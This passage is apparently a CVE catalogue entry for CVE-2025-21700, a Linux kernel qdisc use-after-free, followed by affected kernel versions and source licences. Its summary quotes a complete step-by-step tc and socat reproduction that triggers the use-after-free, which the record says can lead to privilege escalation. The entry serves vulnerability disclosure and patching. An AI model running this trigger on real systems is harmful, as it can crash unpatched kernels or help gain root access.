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Exploitation unknown; this catalogue does not assess exploitation. ## Source facts (JSON-quoted data) CNA source text (English) id: "CVE-2025-21700" idYear: 2025 status: "PUBLISHED" publishedAt: "2025-02-13T11:30:19.003Z" updatedAt: "2026-10-15T01:03:19.949Z" importedAt: "2026-10-24T01:57:29.455Z" snapshot: {"id":"cve_2026-10-24_midnight_baseline","at":"2026-10-24T00:00:00.000Z","source":"https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"} url: "https://cveboard.org/cve/CVE-2025-21700" json: "https://cveboard.org/cve/CVE-2025-21700.json" sourceURL: "https://www.cve.org/CVERecord?id=CVE-2025-21700" title: "net: sched: Disallow replacing of child qdisc from one parent to another" summary: "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug \u003c=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent. b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12. send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13. send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e" affected: [{"versions":[{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"cd796e269123e1994bfc4e99dd76680ba0946a97"},{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"fe18c21d67dc7d1bcce1bba56515b1b0306db19b"},{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"38646749d6e12f9d80a08d21ca39f0beca20230d"},{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"deda09c0543a66fa51554abc5ffd723d99b191bf"},{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"7e2bd8c13b07e29a247c023c7444df23f9a79fd8"},{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"73c7e1d6898ccbeee126194dcc05f58b8a795e70"},{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"46c59ec33ec98aba20c15117630cae43a01404cc"},{"version":"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2","status":"affected","versionType":"git","lessThan":"bc50835e83f60f56e9bec2b392fb5544f250fb6f"}],"vendor":"Linux","product":"Linux","defaultStatus":"unaffected"},{"versions":[{"version":"2.6.12","status":"affected"},{"version":"0","status":"unaffected","versionType":"semver","lessThan":"2.6.12"},{"version":"5.4.291","status":"unaffected","versionType":"semver","lessThanOrEqual":"5.4.*"},{"version":"5.10.235","status":"unaffected","versionType":"semver","lessThanOrEqual":"5.10.*"},{"version":"5.15.179","status":"unaffected","versionType":"semver","lessThanOrEqual":"5.15.*"},{"version":"6.1.129","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.1.*"},{"version":"6.6.76","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.6.*"},{"version":"6.12.13","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.12.*"},{"version":"6.13.2","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.13.*"},{"version":"6.14","status":"unaffected","versionType":"original_commit_for_fix","lessThanOrEqual":"*"}],"vendor":"Linux","product":"Linux","defaultStatus":"affected"}] ## Source licences and attribution CISA Known Exploited Vulnerabilities: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (US government work) GitHub Advisory Database: https://github.com/advisories (CC BY 4.0) Have I Been Pwned: https://haveibeenpwned.com/ (CC BY 4.0) CVE Program (CVE records): https://www.cve.org/Legal/TermsOfUse (CVE Terms of Use) Copyright © 1999-2026, The MITRE Corporation. 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